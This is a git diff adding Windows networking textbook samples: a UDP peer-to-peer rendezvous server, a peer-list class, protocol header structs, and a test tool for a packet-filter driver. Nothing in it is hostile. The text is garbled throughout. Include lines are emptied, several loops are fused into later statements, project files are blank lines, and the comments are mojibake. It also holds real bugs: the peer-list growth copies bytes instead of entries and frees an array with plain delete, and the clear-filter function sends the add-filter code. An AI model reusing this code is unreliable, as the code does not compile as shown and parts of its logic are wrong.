/dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/P2PClientDemo.vcproj" @@ -0,0 +1,284 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/_desktop.ini" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PClientDemo/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.cpp" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.cpp" new file mode 100644 index 0000000..14ece7d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.cpp" @@ -0,0 +1,215 @@ +/////////////////////////////////////// +// P2PServer.cppÎļþ + + +#include "../common/InitSock.h" +#include "../comm.h" + +#include + + +DWORD WINAPI IOThreadProc(LPVOID lpParam); + + +CInitSock theSock; + +CPeerList g_PeerList; // ¿Í»§Áбí +CRITICAL_SECTION g_PeerListLock; // ͬ²½¶Ô¿Í»§ÁбíµÄ·ÃÎÊ +SOCKET g_s; // UDPÌ×½Ú×Ö + +void main() +{ + // ´´½¨Ì×½Ú×Ö£¬°ó¶¨µ½±¾µØ¶Ë¿Ú + g_s = ::WSASocket(AF_INET, + SOCK_DGRAM , IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED); + sockaddr_in sin; + sin.sin_family = AF_INET; + sin.sin_port = htons(SERVER_PORT); + sin.sin_addr.S_un.S_addr = INADDR_ANY; + if(::bind(g_s, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) + { + printf(" bind() failed %d \n", ::WSAGetLastError()); + return; + } + + /////////////////////////////////////////////////////// + // ÏÂÃæÕâ¶Î´úÂëÓÃÀ´ÏÔʾ·þÎñÆ÷°ó¶¨µÄÖÕ¶Ë + char szHost[256]; + ::gethostname(szHost, 256); + hostent *pHost = ::gethostbyname(szHost); + in_addr addr; + for(int i = 0; ; i++) + { + char *p = pHost->h_addr_list[i]; + if(p == NULL) + break; + + memcpy(&addr.S_un.S_addr, p, pHost->h_length); + printf(" bind to local address -> %s:%ld \n", ::inet_ntoa(addr), SERVER_PORT); + } + + // ¿ªÆô·þÎñ + printf(" P2P Server starting... \n\n"); + + + ::InitializeCriticalSection(&g_PeerListLock); + HANDLE hThread = ::CreateThread(NULL, 0, IOThreadProc, NULL, 0, NULL); + + // ¶¨Ê±Ïò¿Í»§·½·¢ËÍ¡°Ñ¯ÎÊ¡±ÏûÏ¢£¬É¾³ý²»ÏìÓ¦µÄÓû§ + while(TRUE) + { + int nRet = ::WaitForSingleObject(hThread, 15*1000); + if(nRet == WAIT_TIMEOUT) + { + CP2PMessage queryMsg; + queryMsg.nMessageType = USERACTIVEQUERY; + DWORD dwTick = ::GetTickCount(); + for(int i=0; i= 2*15*1000 + 600) + { + printf(" delete a non-active user: %s \n", g_PeerList.m_pPeer[i].szUserName); + ::EnterCriticalSection(&g_PeerListLock); + g_PeerList.DeleteAPeer(g_PeerList.m_pPeer[i].szUserName); + ::LeaveCriticalSection(&g_PeerListLock); + // ÒòΪɾÁ˵±Ç°±éÀúµ½µÄÓû§£¬ËùÒÔiÖµ¾Í²»Ó¦¸Ã¼Ó1ÁË + i--; + } + else + { + // ×¢Ò⣬µØÖ·ÁбíÖеÄ×îºóÒ»¸öµØÖ·ÊÇ¿Í»§µÄ¹«¹²µØÖ·£¬Ñ¯ÎÊÏûÏ¢Ó¦¸Ã·¢ÏòÕâ¸öµØÖ· + sockaddr_in peerAddr = { 0 }; + peerAddr.sin_family = AF_INET; + peerAddr.sin_addr.S_un.S_addr = + g_PeerList.m_pPeer[i].addr[g_PeerList.m_pPeer[i].AddrNum - 1].dwIp; + peerAddr.sin_port = + htons(g_PeerList.m_pPeer[i].addr[g_PeerList.m_pPeer[i].AddrNum - 1].nPort); + + ::sendto(g_s, (char*)&queryMsg, sizeof(queryMsg), 0, (sockaddr*)&peerAddr, sizeof(peerAddr)); + } + } + } + else + { + break; + } + } + + printf(" P2P Server shutdown. \n"); + ::DeleteCriticalSection(&g_PeerListLock); + ::CloseHandle(hThread); + ::closesocket(g_s); +} + + +DWORD WINAPI IOThreadProc(LPVOID lpParam) +{ + char buff[MAX_PACKET_SIZE]; + CP2PMessage *pMsg = (CP2PMessage*)buff; + sockaddr_in remoteAddr; + int nRecv, nAddrLen = sizeof(remoteAddr); + while(TRUE) + { + nRecv = ::recvfrom(g_s, buff, MAX_PACKET_SIZE, 0, (sockaddr*)&remoteAddr, &nAddrLen); + if(nRecv == SOCKET_ERROR) + { + printf(" recvfrom() failed \n"); + continue; + } + if(nRecv < sizeof(CP2PMessage)) + continue; + + // ·ÀÖ¹Óû§·¢ËÍ´íÎóµÄÓû§Ãû + pMsg->peer.szUserName[MAX_USERNAME] = '\0'; + switch(pMsg->nMessageType) + { + case USERLOGIN: // ÓÐÓû§µÇ½ + { + // ÉèÖÃÓû§µÄ¹«¹²ÖÕ¶ËÐÅÏ¢£¬¼Ç¼Óû§µÄ»î¶¯Ê±¼ä + pMsg->peer.addr[pMsg->peer.AddrNum].dwIp = remoteAddr.sin_addr.S_un.S_addr; + pMsg->peer.addr[pMsg->peer.AddrNum].nPort = ntohs(remoteAddr.sin_port); + pMsg->peer.AddrNum ++; + pMsg->peer.dwLastActiveTime = ::GetTickCount(); + + + // ½«Óû§ÐÅÏ¢±£´æµ½Óû§ÁбíÖÐ + ::EnterCriticalSection(&g_PeerListLock); + BOOL bOK = g_PeerList.AddAPeer(&pMsg->peer); + ::LeaveCriticalSection(&g_PeerListLock); + if(bOK) + { + // ·¢ËÍÈ·ÈÏÏûÏ¢£¬½«Óû§µÄ¹«¹²µØÖ·´«µÝ¹ýÈ¥ + pMsg->nMessageType = USERLOGACK; + ::sendto(g_s, (char*)pMsg, sizeof(CP2PMessage), 0, (sockaddr*)&remoteAddr, sizeof(remoteAddr)); + + printf(" has a user login : %s (%s:%ld) \n", + pMsg->peer.szUserName, ::inet_ntoa(remoteAddr.sin_addr), ntohs(remoteAddr.sin_port)); + } + } + break; + case USERLOGOUT: // ÓÐÓû§µÇ³ö + { + ::EnterCriticalSection(&g_PeerListLock); + g_PeerList.DeleteAPeer(pMsg->peer.szUserName); + ::LeaveCriticalSection(&g_PeerListLock); + + printf(" has a user logout : %s (%s:%ld) \n", + pMsg->peer.szUserName, ::inet_ntoa(remoteAddr.sin_addr), ntohs(remoteAddr.sin_port)); + } + break; + + case GETUSERLIST: // ÓÐÓû§ÇëÇó·¢ËÍÓû§Áбí + { + printf(" sending user list information to %s (%s:%ld)... \n", + pMsg->peer.szUserName, ::inet_ntoa(remoteAddr.sin_addr), ntohs(remoteAddr.sin_port)); + CP2PMessage peerMsg; + peerMsg.nMessageType = GETUSERLIST; + for(int i=0; ipeer.szUserName, pszUser); + + ::EnterCriticalSection(&g_PeerListLock); + PEER_INFO *pInfo = g_PeerList.GetAPeer(pszUser); + ::LeaveCriticalSection(&g_PeerListLock); + + if(pInfo != NULL) + { + remoteAddr.sin_addr.S_un.S_addr = pInfo->addr[pInfo->AddrNum -1].dwIp; + remoteAddr.sin_port = htons(pInfo->addr[pInfo->AddrNum -1].nPort); + + ::sendto(g_s, (char*)pMsg, + sizeof(CP2PMessage), 0, (sockaddr*)&remoteAddr, sizeof(remoteAddr)); + } + } + break; + + case USERACTIVEQUERYACK: // Óû§¶Ô¡°Ñ¯ÎÊ¡±ÏûÏ¢µÄÓ¦´ð + { + printf(" recv active ack message from %s (%s:%ld) \n", + pMsg->peer.szUserName, ::inet_ntoa(remoteAddr.sin_addr), ntohs(remoteAddr.sin_port)); + + ::EnterCriticalSection(&g_PeerListLock); + PEER_INFO *pInfo = g_PeerList.GetAPeer(pMsg->peer.szUserName); + if(pInfo != NULL) + { + pInfo->dwLastActiveTime = ::GetTickCount(); + } + ::LeaveCriticalSection(&g_PeerListLock); + } + break; + } + } + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.sln" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.sln" new file mode 100644 index 0000000..b8de501 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "P2PServer", "P2PServer.vcproj", "{94825C2D-1F29-4787-98D3-E2F66B0F5D86}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {94825C2D-1F29-4787-98D3-E2F66B0F5D86}.Debug|Win32.ActiveCfg = Debug|Win32 + {94825C2D-1F29-4787-98D3-E2F66B0F5D86}.Debug|Win32.Build.0 = Debug|Win32 + {94825C2D-1F29-4787-98D3-E2F66B0F5D86}.Release|Win32.ActiveCfg = Release|Win32 + {94825C2D-1F29-4787-98D3-E2F66B0F5D86}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.suo" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.suo" new file mode 100644 index 0000000..09c8352 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.suo" differ diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.vcproj" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.vcproj" new file mode 100644 index 0000000..57d299d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/P2PServer.vcproj" @@ -0,0 +1,261 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/_desktop.ini" "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/P2PServer/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\25410\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/comm.cpp" "b/Project/Network and Communication/\347\254\25410\347\253\240/comm.cpp" new file mode 100644 index 0000000..161446c --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/comm.cpp" @@ -0,0 +1,75 @@ +////////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include + +#include "comm.h" + + +/////////////////////////////////////////////////////////////////////// + +CPeerList::CPeerList() +{ + m_nCurrentSize = 0; + m_nTatolSize = 100; + m_pPeer = new PEER_INFO[m_nTatolSize]; +} + +CPeerList::~CPeerList() +{ + delete[] m_pPeer; +} + +BOOL CPeerList::AddAPeer(PEER_INFO *pPeer) +{ + if(GetAPeer(pPeer->szUserName) != NULL) + return FALSE; + // ÉêÇë¿Õ¼ä + if(m_nCurrentSize >= m_nTatolSize) // ÒѾ­ÓÃÍꣿ + { + PEER_INFO *pTmp = m_pPeer; + m_nTatolSize = m_nTatolSize * 2; + m_pPeer = new PEER_INFO[m_nTatolSize]; + memcpy(m_pPeer, pTmp, m_nCurrentSize); + delete pTmp; + } + // Ìí¼Óµ½±íÖÐ + memcpy(&m_pPeer[m_nCurrentSize ++], pPeer, sizeof(PEER_INFO)); + return TRUE; +} + +PEER_INFO *CPeerList::GetAPeer(char *pszUserName) +{ + for(int i=0; i +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\25410\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\25410\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\25410\347\253\240/common/protoinfo.h" "b/Project/Network and Communication/\347\254\25410\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25410\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/FilterTest.CPP" "b/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/FilterTest.CPP" new file mode 100644 index 0000000..6759ec9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/FilterTest.CPP" @@ -0,0 +1,56 @@ +////////////////////////////////////////////////////////// +// FilterTest.CPPÎļþ + + +#include +#include +#include +#include "IOCOMMON.h" +#include "ptutils.h" + +void ShowStats(PPassthruStatistics pStats) +{ + printf(" Total Packets Sent : %d\n", pStats->nMPSendPktsCt); + printf(" Send Packets Blocked : %d\n", pStats->nMPSendPktsDropped); + printf(" Total Packets Received : %d\n", pStats->nPTRcvPktCt + pStats->nPTRcvCt); + printf(" Receive Packets Blocked: %d\n", pStats->nPTRcvDropped + pStats->nPTRcvPktDropped); +} + +int main() +{ + HANDLE hControlDevice = PtOpenControlDevice(); + CIMAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + { + printf(" EnumAdapters failed \n"); + return -1; + } + + printf(" Driver Bindings: \n"); + for(int i=0; i + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/IOCOMMON.H" "b/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/IOCOMMON.H" new file mode 100644 index 0000000..2d6e289 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/IOCOMMON.H" @@ -0,0 +1,98 @@ +////////////////////////////////////////////////////////////////// +// iocommon.hÎļþ + +#ifndef __IOCOMMON__H +#define __IOCOMMON__H + + +////////////////////////////////////////////////////////// +// ¶¨ÒåIOÊý¾ÝÀàÐÍ + + +typedef struct _PTUSERIO_OID_DATA +{ + ULONG Oid; + ULONG Length; + UCHAR Data[1]; +}PTUSERIO_OID_DATA, *PPTUSERIO_OID_DATA; + + +// ÍøÂç»î¶¯×´Ì¬ +typedef struct _PassthruStatistics +{ + ULONG nMPSendPktsCt; // ͨ¹ýMPSendPacketsµÄ·â°ü + ULONG nMPSendPktsDropped; // ÔÚMPSendPacketsÖжªÆúµÄ·â°ü + ULONG nPTRcvCt; // ͨ¹ýPTReceiveµÄ·â°ü + ULONG nPTRcvDropped; // ÔÚPTReceiveÖжªÆúµÄ·â°ü + ULONG nPTRcvPktCt; // ͨ¹ýPTReceivePacketµÄ·â°ü + ULONG nPTRcvPktDropped; // ÔÚPTReceivePacketÖжªÆúµÄ·â°ü +}PassthruStatistics, *PPassthruStatistics; + +// ¹ýÂ˹æÔò +typedef struct _PassthruFilter +{ + USHORT protocol; // ʹÓõÄЭÒé + + ULONG sourceIP; // Ô´IPµØÖ· + ULONG sourceMask; // Ô´µØÖ·ÆÁ±ÎÂë ÕâÀïʹÓÃÆÁ±ÎÂëÊÇΪÁËÄܹ»ÉèÖÃÒ»¸öIPµØÖ··¶Î§ + + ULONG destinationIP; // Ä¿µÄIPµØÖ· + ULONG destinationMask; // Ä¿µÄµØÖ·ÆÁ±ÎÂë + + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort; // Ä¿µÄ¶Ë¿ÚºÅ + + BOOLEAN bDrop; // ÊÇ·ñ¶ªÆú´Ë·â°ü + +}PassthruFilter, *PPassthruFilter; + + +//////////////////////////////////////////////////////////// +// ¶¨ÒåIO¿ØÖÆ´úÂë + +#define FSCTL_PTUSERIO_BASE FILE_DEVICE_NETWORK + +// ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_ENUMERATE \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x201, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ´ò¿ªÒ»¸öÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_OPEN_ADAPTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x202, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_SET_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x203, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_QUERY_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x204, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + + +// »ñÈ¡ÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_QUERY_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x205, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ÖØÉèÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_RESET_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x206, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_ADD_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x207, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Çå³ý¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_CLEAR_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x208, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + +#endif // __IOCOMMON__H + + + + + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/_desktop.ini" "b/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/ptutils.cpp" "b/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/ptutils.cpp" new file mode 100644 index 0000000..aee24f8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/FilterTest/ptutils.cpp" @@ -0,0 +1,203 @@ +/////////////////////////////////////// +// ptutils.cppÎļþ + +#include +#include +#include +#include +#include + +#include "IOCOMMON.h" +#include "ptutils.h" + + +HANDLE PtOpenControlDevice() +{ + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\PassThru"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +HANDLE PtOpenAdapter(PWSTR pszAdapterName) +{ + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó¾ä±ú + HANDLE hAdapter = PtOpenControlDevice(); + if(hAdapter == INVALID_HANDLE_VALUE) + return INVALID_HANDLE_VALUE; + + + // È·¶¨ÊÊÅäÆ÷Ãû³ÆµÄ³¤¶È + int nBufferLength = wcslen((PWSTR)pszAdapterName) * sizeof(WCHAR); + + // ·¢ËÍIOCTL_PTUSERIO_OPEN_ADAPTER¿ØÖÆ´úÂ룬´ò¿ªÊÊÅäÆ÷ÉÏÏÂÎÄ + DWORD dwBytesReturn; + BOOL bOK = ::DeviceIoControl(hAdapter, IOCTL_PTUSERIO_OPEN_ADAPTER, + pszAdapterName, nBufferLength, NULL, 0, &dwBytesReturn, NULL); + // ¼ì²é½á¹û + if(!bOK) + { + ::CloseHandle(hAdapter); + return INVALID_HANDLE_VALUE; + } + return hAdapter; +} + +BOOL PtAdapterRequest(HANDLE hAdapter, PPTUSERIO_OID_DATA pOidData, BOOL bQuery) +{ + if(hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + // ·¢ËÍIOCTL + DWORD dw; + int bRet = ::DeviceIoControl( + hAdapter, bQuery ? IOCTL_PTUSERIO_QUERY_OID : IOCTL_PTUSERIO_SET_OID, + pOidData, sizeof(PTUSERIO_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PTUSERIO_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + +// + +// ²éѯÍøÂç»î¶¯×´Ì¬ +BOOL PtQueryStatistics(HANDLE hAdapter, PPassthruStatistics pStats) +{ + ULONG nStatsLen = sizeof(PassthruStatistics); + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_QUERY_STATISTICS, NULL, 0, pStats, nStatsLen, &nStatsLen, NULL); + + return bRet; +} + +// ÖØÖÃͳ¼ÆÊý×Ö +BOOL PtResetStatistics(HANDLE hAdapter) +{ + DWORD dwBytes; + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_RESET_STATISTICS, NULL, 0, NULL, 0, &dwBytes, NULL); + return bRet; +} + +// ÏòÊÊÅäÆ÷Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +BOOL PtAddFilter(HANDLE hAdapter, PPassthruFilter pFilter) +{ + ULONG nFilterLen = sizeof(PassthruFilter); + BOOL bRet = ::DeviceIoControl(hAdapter, IOCTL_PTUSERIO_ADD_FILTER, + pFilter, nFilterLen, NULL, 0, &nFilterLen, NULL); + return bRet; +} + +// Çå³ýÊÊÅäÆ÷ÉϵĹýÂ˹æÔò +BOOL PtClearFilter(HANDLE hAdapter) +{ + DWORD dwBytes; + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_ADD_FILTER, NULL, 0, NULL, 0, &dwBytes, NULL); + return bRet; +} + +////////////////////////////////////////////////////////// + +BOOL CIMAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, 